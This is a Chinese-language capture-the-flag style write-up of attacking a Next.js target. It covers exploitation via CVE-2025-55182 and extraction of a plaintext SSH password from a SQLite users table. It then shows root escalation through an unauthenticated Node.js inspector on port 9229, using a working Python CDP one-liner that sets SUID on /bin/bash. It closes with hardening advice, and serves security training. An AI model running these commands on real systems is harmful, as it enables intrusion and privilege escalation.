本技术报告详细描述了攻陷托管易受攻击的 Next.js Web 应用目标的利用路径,通过窃取的凭据实现初始访问,并利用配置错误的本地 Node.js V8 inspector 实现 root 权限提升。
目标托管了一个运行在标准 HTTP/HTTPS 端口(80/443)上的 Next.js Web 应用。标准目录枚举和手动分析表明,该应用运行的版本易受 CVE-2025-55182 影响。
为利用该漏洞,请使用 Burp Suite(或 Burp Repeater)拦截应用流量,并注入针对 CVE-2025-55182 的精心构造的利用载荷。
通过利用实现代码执行和本地文件读取后,检查应用源码目录。本地 SQLite 数据库文件(database.db)位于主应用源码旁。
查询或导出数据库文件内容,以提取存储的用户记录。
sqlite3 database.db "SELECT * FROM users;"
找到与本地 SSH 用户 engineer 关联的明文密码。
使用恢复的凭据与目标机器建立 SSH 会话:
ssh engineer@<TARGET-IP>
认证成功后,读取位于主目录中的用户 flag:
cat /home/engineer/user.txt
检查仅绑定到本地回环接口(127.0.0.1)的服务,以识别内部攻击面:
netstat -tulnp
结果:一个内部 Node.js 服务正在本地端口 9229 上监听。
Node.js V8 调试端口需要唯一的会话 UUID 才能进行 WebSocket 通信。使用 curl 并附加 /json 查询本地发现端点:
curl -s http://127.0.0.1:9229/json
输出:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
由于目标 Node.js 进程以 root 权限运行,您可以通过 Python 经 WebSocket 发送 Chrome DevTools 协议(CDP)Runtime.evaluate 消息,为 /bin/bash 设置 SUID 位:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
确认 /bin/bash 现已启用 SUID 权限(-rwsr-sr-x),然后以保留权限的方式调用 Bash:
ls -l /bin/bash
bash -p
导航至 root 用户的主目录以获取最终 flag:
cd /root
cat root.txt
要防范这些攻击向量,需要修补易受已知 CVE 影响的 Web 应用、正确限制数据库文件权限,并确保调试端口(如 9229 端口上的 Node.js inspector)在生产环境中绝不暴露或未经认证即可访问。